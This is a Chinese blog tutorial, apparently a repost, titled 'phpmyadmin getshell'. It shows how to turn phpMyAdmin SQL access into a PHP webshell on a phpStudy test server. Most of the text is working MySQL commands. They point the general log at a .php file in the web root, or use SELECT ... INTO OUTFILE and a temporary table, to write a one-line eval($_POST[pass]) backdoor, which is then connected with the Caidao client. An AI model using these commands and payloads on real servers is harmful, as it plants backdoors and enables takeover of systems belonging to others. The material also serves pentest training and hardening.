码迷,mamicode.com
首页 > Web开发 > 详细

phpmyadmin getshell

时间:2019-11-29 11:08:41      阅读:208      评论:0      收藏:0      [点我收藏+]

标签:php   value   www   into   waf   必须   文件中   tab   tmp   

收集有用信息

技术图片
技术图片
我们可以获取一下有用信息:
1.操作系统win7 x86
2.服务器是apache 2.4.23
3.网站默认的跟路径是C:phpStudy\WWW
4.PHP版本是5.4.45
5.mysql的版本是5.5.53

检测插入条件

知识说明:

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的
    当secure_file_priv的值为null,表示限制mysqld不允许导入|导出
    当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
MYSQL新特性secure_file_priv对读写文件的影响,此开关默认为NULL,即不允许导入导出。
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql

具体操作

我们已经知道网站默认路径是C:phpStudy\WWW,想要插入一句话后门文件或者是导出webshell,我们必须满足一个前提条件"secure_file_priv"对应的值不能为空且必须默认网站的路径,所以需要检测secure_file_priv的值。
技术图片
这里做出了限制,这是一个只读变量无法动态更改,应该只能从配置文件中更改了。

转换思路 --利用log日志文件插入一句话

知识说明:

开启general log 将所有到达Mysql Server的SQL语句记录下来
一般不会开启功能,因为log的量会非常庞大。
show variables like 'general_log';  -- 查看日志是否开启
show variables like 'log_output';  -- 看看日志输出类型  table或file
show variables like 'general_log_file';  -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
set global general_log=on; -- 开启日志功能
set global log_output='table'; -- 设置输出类型为 table

具体操作

操作之前我们需要先检测Mysql全局变量(genral_log、general_log_file)的值
技术图片
接下来执行如下命令:
set global general_log="ON";
set global general_log_file=‘C:/phpStudy/WWW/log.php‘;
技术图片
技术图片
然后我们执行一句话 select ‘<?php eval($_POST[pass]);?>‘;
技术图片
菜刀连接:
技术图片

那么secure_file_priv的值不为空该怎么办,接下来演示

为此我们需要先进入配置文件对其做修改,并重启mysql
技术图片
技术图片
开始插入一句话
select ‘<?php @eval($_POST[pass]);?>‘ INTO OUTFILE ‘C:/phpStudy/WWW/sec.php‘;
技术图片
菜刀连接
技术图片

其他写入方式

create table mysql.informationes(inform TEXT not null);
insert into mysql.informationes(inform) values (‘<?php @eval($_POST[pass]);?>‘);
select inform form mysql.informationes into outfile ‘C:/phpStudy/WWW/sec.php‘;
drop table if exists mysql.informationes;

以上是没有waf的形式,如果有waf还需把语句进行变形。此处以后再做讨论。

phpmyadmin getshell

标签:php   value   www   into   waf   必须   文件中   tab   tmp   

原文地址:https://www.cnblogs.com/lyxsalyd/p/11955988.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!